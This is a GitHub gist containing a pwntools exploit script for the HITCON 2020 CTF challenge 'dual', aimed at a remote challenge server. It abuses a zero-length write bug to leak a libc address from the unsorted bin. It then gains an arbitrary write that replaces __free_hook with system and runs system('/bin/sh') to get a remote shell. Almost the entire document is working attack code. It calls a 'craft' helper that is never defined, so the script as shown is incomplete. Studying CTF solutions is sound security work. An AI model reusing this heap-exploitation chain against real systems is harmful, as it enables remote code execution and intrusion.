Skip to content

Instantly share code, notes, and snippets.

@zommiommy
Last active December 2, 2020 21:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zommiommy/10207a8cb3900ec520d63b46046d47ab to your computer and use it in GitHub Desktop.
Save zommiommy/10207a8cb3900ec520d63b46046d47ab to your computer and use it in GitHub Desktop.
HITCON2020 dual expolit
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
host = '13.231.226.137'
port = 9573
p = remote(host, port)
def op():
p.recvuntil('op>')
def create(pred):
op()
p.sendline('1')
p.recvuntil('pred_id>\n')
p.sendline(str(pred))
res = p.recvuntil('op>')
res = int(res[:-len('op>')])
p.unrecv(b'op>')
return res
def connect(pred, succ):
op()
p.sendline('2')
p.recvuntil('pred_id')
p.sendline(str(pred))
p.recvuntil('succ_id')
p.sendline(str(succ))
def disconnect(pred, succ):
op()
p.sendline('3')
p.recvuntil('pred_id')
p.sendline(str(pred))
p.recvuntil('succ_id')
p.sendline(str(succ))
def write_text(node, text, shell=False):
op()
p.sendline('4')
p.recvuntil('node_id')
p.sendline(str(node))
p.recvuntil('text_len')
p.sendline(str(len(text)))
if shell:
p.interactive()
exit()
p.recvuntil('text')
p.send(text)
def write_bin(node, text):
op()
p.sendline('5')
p.recvuntil('node_id')
p.sendline(str(node))
p.recvuntil('bin_len')
p.sendline(str(len(text)))
p.recvuntil('bin')
p.send(text)
def read(node):
op()
p.sendline('6')
p.recvuntil('node_id>\n')
p.sendline(str(node))
res = p.recvuntil('op>')
res = res[:-len('op>')]
p.unrecv(b'op>')
return res
def gc():
op()
p.sendline('7')
# Step 1: leak libc base.
# Prepare a root node for later. In the second step the DFS will go down here first,
# so it won't crash on the nodes we crafted in the first step.
na = create(0)
# Root node for step 1.
nb = create(0)
# Bug: write_bin with size 0 will return 1 instead of a pointer.
write_bin(nb, '')
# This node can be overwritten with nb.text.
n1 = create(nb)
# Node that will be freed for the libc leak.
n2 = create(nb)
# Allocate >0x400 bytes so that the chunk will skip the tcache.
write_text(n2, 'X'*0x500)
# Create another node to avoid consolidation with the top chunk.
n3 = create(nb)
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena.
disconnect(nb, n2)
gc()
# Craft n1 so that we can read the pointers from the heap.
crafted = craft(n1, text_idx=n1, text_len=0x100)
print('writing', len(crafted), 'bytes:', crafted)
write_text(nb, crafted)
leak = read(n1)
print(leak)
leak_libc = u64(leak[160:160+8])
print('leak arena:', hex(leak_libc))
leak_offset = 2014176 # main_arena + 96
main_arena = 0x7ffff7c2cb80 # libc.symbols['main_arena']
print('main_arena', hex(main_arena))
print('leak_offset', hex(leak_offset))
libc_base = leak_libc - leak_offset
print('libc base:', hex(libc_base))
pause()
# Step 2: write what-were to get a shell.
libc.address = libc_base
system = libc.symbols['system']
what = system
print('system:', hex(system))
free_hook = libc.symbols['__free_hook']
where = free_hook
print('__free_hook:', hex(free_hook))
# write_bin bug again to control a second node.
write_bin(n3, '')
# This node can be overwritten with n3.text.
n4 = create(na)
# Prepare nodes for arbitrary write.
wherenode = craft(n1, edges=where-8, last_edge=where, edges_end=where+32)
whatnode = craft(n4, pool_idx=what)
write_text(n3, whatnode)
write_text(nb, wherenode)
# Trigger arbitrary write.
connect(n1, n4)
pause()
# Write in a chunk and trigger the free in write_text to call system("/bin/sh").
write_text(nb, b'/bin/sh\x00')
write_text(nb, 'A'*1500, shell=True)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment